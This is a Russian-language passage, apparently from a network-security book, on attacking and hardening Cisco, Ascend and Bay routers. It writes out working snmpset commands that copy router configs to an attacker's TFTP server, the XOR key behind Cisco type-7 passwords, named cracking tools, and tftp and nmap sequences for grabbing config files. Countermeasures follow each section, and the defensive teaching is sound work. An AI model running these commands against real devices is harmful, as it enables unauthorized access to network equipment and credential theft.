Устранение изъянов


Возможность хакинга сетевых устройств в значительной степени зависит от объема и качества проведенных в сети защитных мероприятий. Если вы выбрали пароли для подключений telnet и строки доступа SNMP, которые трудно подобрать, ограничили использование служб FTP и TFTP, а также активизировали режим регистрации всех событий, имеющих отношение к безопасности (при условии, конечно, что кто-то регулярно просматривает эти журналы), то описанные ниже изъяны вряд ли окажутся опасными для вашей сети. С другой стороны, если ваша сеть достаточно обширна и имеет сложную для управления структуру, в ней могут оказаться узлы, безопасность которых, мягко говоря, далека от идеальной. В связи с этим нелишним будет выполнить дополнительную проверку и лишний раз застраховаться от неожиданностей.

Устаревшая база данных MIB Cisco и Ascend


Устройства компаний Cisco и Ascend поддерживают базу данных MIB устаревшего формата, которая через открытые строки доступа, обеспечивающие чтение и запись, позволяет любому пользователю получить конфигурационный файл с использованием TFTP. Если речь идет об устройствах Cisco, то эта база данных называется OLD-CISCO-SYS-MIB. Ввиду того что в этом файле содержится пароль для доступа к устройству Cisco (он зашифрован весьма примитивным способом — с помощью операции XOR), взломщик может легко расшифровать его и использовать для реконфигурации вашего маршрутизатора или коммутатора.
Для того чтобы проверить, уязвим ли ваш маршрутизатор, можно выполнить описанные ниже операции. Воспользовавшись программой IP Network Browser компании SolarWinds (http: //www. solarwinds .net), укажите строки доступа SNMP, обеспечивающие чтение и запись, и просканируйте требуемое устройство или всю сеть. После завершения сканирования вы увидите информацию обо всех обнаруженных устройствах и данных SNMP (рис. 10.3).
Если интересующее вас устройство сгенерировало ответ на SNMP-запрос и соответствующий элемент списка заполнен информацией, представленной в виде древовидной структуры, выберите из меню команду Nodes^View Config File. При этом запустится сервер TFTP и, если в системе защиты устройства имеется изъян, можно получить конфигурационный файл Cisco, как показано на рис. 10.4.



Рис. 10.3. Программа IP Network Browser компании SolarWinds очень наыядно представляет информацию, которую можно полунить с помощью легко угадываемых строк доступа SNMP

Получив конфигурационный файл, остается лишь расшифровать пароль. Для этого достаточно щелкнуть на кнопке Decrypt Password панели инструментов, как показано на рис. 10.5.



Рис. 10.4. Модуль Cisco Config Viewer позволяет легко получить конфигурационный файл устройства Cisco. Для этого достаточно подобрать строку доступа, обеспечивающую чтение и запись



Рис. 10.5. С использованием модуля Cisco Config Viewer компании SolarWinds очень просто расшифровать пароли Cisco, содержащиеся в конфигурационном файле

Если же вы хотите проверить, является ли ваше устройство уязвимым, не прибегая к "хакерским методам", то можно воспользоваться базой данных Cisco, находящейся по адресу ftp://ftp.cisco.com/pub/mibs/supportlists/. Найдите свое устройство и перепишите на свой компьютер файл supportlist.txt. Затем вам остается проверить, поддерживается ли этим устройством база данных MIB старого формата, т.е. OLD-CISCO-SYS-MIB. Если это так, то вам придется принимать дополнительные меры по защите маршрутизатора.
В системе UNIX конфигурационный файл Cisco можно получить с помощью единственной команды. Если вам известна строка доступа для чтения и записи устройства с адресом 10.11.12.13 и на вашем компьютере с IP-адресом, скажем 192.168.200.20, запущен сервер TFTP, то можно воспользоваться следующей командой, snmpset 10.11.12.13 private 1.3.6.1.4.1.9.2.1.55.192.168.200.20 s config.file
В конфигурационном файле Cisco имеется два элемента, которые представляют особый интерес для злоумышленника, — пароль разрешения доступа (enable password) и пароль telnet-аутентификации. Оба эти элемента хранятся в конфигурационном файле в зашифрованном виде. Однако, как мы увидим несколько позже, расшифровать их достаточно просто. Ниже приведена строка, содержащая зашифрованный пароль разрешения доступа.
enable password 7 08204Е
А так выглядят строки, содержащие пароль telnet-аутентификации.

line vty 0 4
password 7 08204Е
login

Для того чтобы загрузить конфигурационный файл устройств Ascend, также можно воспользоваться командой snmpset следующего вида.

snmpset 10.11.12.13 private
1.3.6.1.4.1.529.9.5.3.0 а
snmpset 10.11.12.13 private
1.3.6.1.4.1.529.9.5.4.0 s config.file

Контрмеры: защита базы данных MIB


Обнаружение


Самый простой способ обнаружения SNMP-запросов на запись в базу данных MIB заключается в использовании утилиты syslog, настроенной на регистрацию каждого запроса. Для этого сначала на компьютере с системой UNIX или NT нужно запустить демон syslog, а затем настроить его таким образом, чтобы он регистрировал соответствующие события. На устройстве Cisco это можно сделать с помощью следующей команды. logging 196.254.92.83

Защита


Для того чтобы воспрепятствовать злоумышленнику получить старую базу MIB, можно предпринять следующие меры.

  •  Используйте список ACL, чтобы разрешить применение протокола SNMP только для определенных узлов или сетей. На устройствах Cisco для этого нужно воспользоваться командой, имеющей следующий вид.
access-list 101 permit udp 172.29.11.0 0.255.255.255 any eq 161 log
  •  Включите режим доступа с помощью SNMP только для чтения (ко). На устройствах Cisco для этого нужно воспользоваться командой, имеющей следующий вид. snmp-server community <сложная строка доступа> RO
  •  Лучше всего вообще отключите доступ через SNMP, воспользовавшись следующей командой, no snmp-server

Слабость алгоритмов шифрования паролей Cisco


Устройства Cisco, по крайней мере на момент написания данной книги, имели слабый алгоритм шифрования, используемый как при хранении пароля vty, так и пароля доступа. Оба пароля хранятся в конфигурационном файле устройств, а их взлом не представляет особого труда. Для того чтобы узнать, является ли ваш маршрутизатор уязвимым, просмотрите конфигурационный файл с помощью следующей команды.
show config
Если вы увидите строку, подобную показанной ниже, значит, пароль доступа к устройству легко расшифровать.
enable password 7 08204Е
С другой стороны, если в конфигурационном файле вы увидите запись, подобную приведенной ниже, можете не волноваться — пароль доступа надежно защищен (чего, к сожалению, нельзя сказать о пароле telnet).
enable secret 5 $1$.pUt$w8jwdabc5nHk1IHFWcDav
Эта запись означает, что грамотный администратор Cisco вместо используемой по умолчании команды enable password применил команду enable secret, активизирующую режим шифрования пароля по алгоритму MD5, который обеспечивает большую надежность, чем стандартный алгоритм Cisco. Однако, насколько нам известно, шифрование паролей с помощью MD5 распространяется только на пароль доступа, но неприменим для шифрования таких паролей, как пароли vty.

line vty 0 4
password 7 08204Е
login

Слабость встроенного алгоритма шифрования Cisco объясняется тем, что он основан на использовании операции XOR и постоянного инициализирующего значения (seed value). Шифруемые пароли Cisco могут иметь до 11 алфавитно-цифровых символов разного регистра. Первые два байта пароля выбираются случайным образом из диапазона от 0x0 до 0xF, а оставшиеся представляют собой строку, полученную путем объединения с помощью операции XOR пароля и заданного блока символов dsfd;kfoA,.iyewrkldJKDHSUB.
Расшифровать такой пароль можно с помощью одной из множества программ, имеющихся в Internet. . Первая из них, написанная хакером Хоббитом (Hobbit) (http://www.avian.org), представляет собой сценарий командной оболочки. Вторая программа, ciscocrack.c, написана на языке С хакером Сфайксом (SPHiXe). Ее можно найти в многочисленных статьях, посвященных анализу паролей Cisco. Третьей программой является приложение Palm Pilot, созданное доктором Маджем (Dr. Mudge), одним из участников группы L0pht.  И наконец, модуль расшифровки пароля Cisco был создан компанией SolarWinds. В системе NT этот модуль функционирует как часть программного пакета управления сетью. Его можно найти по адресу http://www.solarwinds.net.

Модуль расшифровки паролей Cisco компании SolarWinds


Для тех, кто лучше знаком с системой Windows, существует соответствующая версия модуля расшифровки паролей Cisco, подготовленная компанией SolarWinds из города Тулса штата Оклахома (Tulsa, Oklahoma). Компания SolarWinds разрабатывает сетевое программное обеспечение для больших телекоммуникационных компаний и включает модуль расшифровки в состав приложения просмотра параметров настройки устройств Cisco (Cisco Config Viewer). Кроме того, этот модуль распространяется и как самостоятельное приложение (рис. 10.6).



Рис. 10.6. Программа Cisco Password Decryption компании Solar-Winds имеет графический пользовательский интерфейс и является очень простым средством расшифровки паролей Cisco

Контрмеры: защита паролей Cisco


Единственным решением проблемы защиты пароля доступа (enable password) является использование для изменения пароля команды enable secret. Эта команда защищает пароль доступа с помощью алгоритма шифрования MD5, для которого пока что нет известных методов быстрого взлома. К сожалению, остальные пароли Cisco, такие как пароли доступа vty, защитить ни этим, ни каким-либо другим методом нельзя.

Получение файлов с помощью TRP


Практически все маршрутизаторы поддерживают использование протокола TFTP (Trivial File Transfer Protocol). Этот протокол представляет собой основанный на протоколе UDP механизм передачи файлов, применяемый для резервного копирования и восстановления конфигурационных файлов, который связан с портом UDP 69. Как вы понимаете, обнаружить эту службу, запущенную на вашем устройстве, достаточно просто с помощью утилиты nmap.
[root@happy] nmap -sU -p69 -nw target
Использование TFTP для получения конфигурационных файлов обычно является весьма тривиальной операцией (при условии, конечно, что администратор сети употребляет общепринятые названия конфигурационных файлов). Например, выполнив обратное DNS-преобразование адреса устройства, находящегося в нашей сети (192.168.0.1), мы можем установить, что оно имеет DNS-имя lax-serial-rtr. Теперь можно просто попытаться получить файл .cfg с помощью следующих команд, в которых имя DNS используется в качестве имени конфигурационного файла.

[root@happy] tftp
> connect 192.168.0.1
> get lax-serial-rtr.cfg
> quit

Если ваш маршрутизатор уязвим, то в текущем каталоге вашего компьютера вы наверняка найдете конфигурационный файл (lax-serial-rtr.cfg) маршрутизатора. В нем, скорее всего, будут содержаться все строки доступа SNMP, а также списки управления доступом. Более подробная информация о том, как использовать TFTP для получения информации об устройствах Cisco, находится в архиве группы Packet Storm.

Контрмеры: защита от применения ТFTР


Для того чтобы устранить угрозу, таящуюся в использовании протокола TFTP, можно предпринять следующие меры.

  •  Вообще запретите доступ с помощью TFTP. Синтаксис команды, которую можно использовать для этих целей, существенно зависит от модели маршрутизатора, поэтому сначала внимательно изучите документацию. Для моделей ряда Cisco 7000 можно попробовать команду следующего вида. no tftp-server flash <устройство:имя_файла>
  •  Для контроля доступа с помощью TFTP настройте соответствующий фильтр. Это можно осуществить с помощью команды, подобной следующей.
access-list 101 deny udp any any eq 69 log !

Конфигурационные файлы устройств компании Bay


Программное обеспечение управления сетью компании Bay Networks, диспетчер Site Manager, позволяет администраторам выполнять тестирование состояния сети, включая проверку SNMP-статуса устройства и установление факта его работоспособности с помощью пакетов IСМР. К сожалению, конфигурационные файлы .cfg, предназначенные для хранения параметров Site Manager, хранятся в незашифрованном виде. Помимо прочего, в этом файле хранятся также строки доступа SNMP. Если злоумышленнику удастся проникнуть на компьютер, работающий под управлением Site Manager, все, что ему нужно сделать, — это скопировать конфигурационные файлы в свою версию Site Manager и найти в них информацию о строках доступа SNMP.

Контрмеры: защита конфигурационных файлов Вау


Самая простая защитная мера заключается в ограничении списка пользователей. которым разрешено копировать конфигурационные файлы. Для этого достаточно разрешить чтение этих файлов только суперпользователю root (или только администратору, отвечающему за настройку маршрутизатора).